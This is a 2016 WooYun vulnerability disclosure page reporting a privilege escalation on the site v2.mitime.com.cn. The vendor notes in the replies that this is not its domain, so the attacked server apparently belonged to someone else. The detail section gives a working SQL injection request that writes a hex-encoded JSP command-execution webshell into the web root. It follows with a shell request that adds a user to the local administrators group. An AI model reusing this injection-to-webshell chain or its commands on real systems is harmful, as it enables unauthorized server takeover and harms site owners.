当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0192109

漏洞标题：时光网某分站成功提权

相关厂商：时光网

漏洞作者： 路人甲

提交时间：2016-04-06 11:28

修复时间：2016-04-06 14:31

公开时间：2016-04-06 14:31

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-06： 细节已通知厂商并且等待厂商处理中
2016-04-06： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

http://v2.mitime.com.cn/Conf/jsp/systembulletin/bulletinAction.do?operator=details 
PST
sysId=-1%20union%20select%200x3C2540207061676520636F6E74656E74547970653D22746578742F68746D6C3B20636861727365743D47424B2220253E0D0A3C2540207061676520696D706F72743D226A6176612E696F2E2A2220253E203C2520537472696E6720636D64203D20726571756573742E676574506172616D657465722822636D6422293B20537472696E67206F7574707574203D2022223B20696628636D6420213D206E756C6C29207B20537472696E672073203D206E756C6C3B20747279207B2050726F636573732070203D2052756E74696D652E67657452756E74696D6528292E6578656328636D64293B204275666665726564526561646572207349203D206E6577204275666665726564526561646572286E657720496E70757453747265616D52656164657228702E676574496E70757453747265616D282929293B207768696C65282873203D2073492E726561644C696E6528292920213D206E756C6C29207B206F7574707574202B3D2073202B225C725C6E223B207D207D20636174636828494F457863657074696F6E206529207B20652E7072696E74537461636B547261636528293B207D207D200D0A6F75742E7072696E746C6E286F7574707574293B253E,'','','','' into dumpfile '../../management/webapps/root/cmd.jsp'%23


http://v2.mitime.com.cn/cmd.jsp?cmd=net%20localgroup%20administrators%20wooyun%20/add

shell地址

漏洞证明：

1.png


2.png


4.png


修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-04-06 14:31

厂商回复：

时光网的域名是不是mitime

最新状态：

暂无

漏洞评价：

评价

  1. 2016-04-06 14:30 | 时光网(乌云厂商)

    谢谢，但时光网的域名是mtime.com不是mitime.com.cn

  2. 2016-04-06 20:46 | ADVERT ( 实习白帽子 | Rank:71 漏洞数:23 | Stay hungry,stay foolish.)

    这就尴尬了@时光网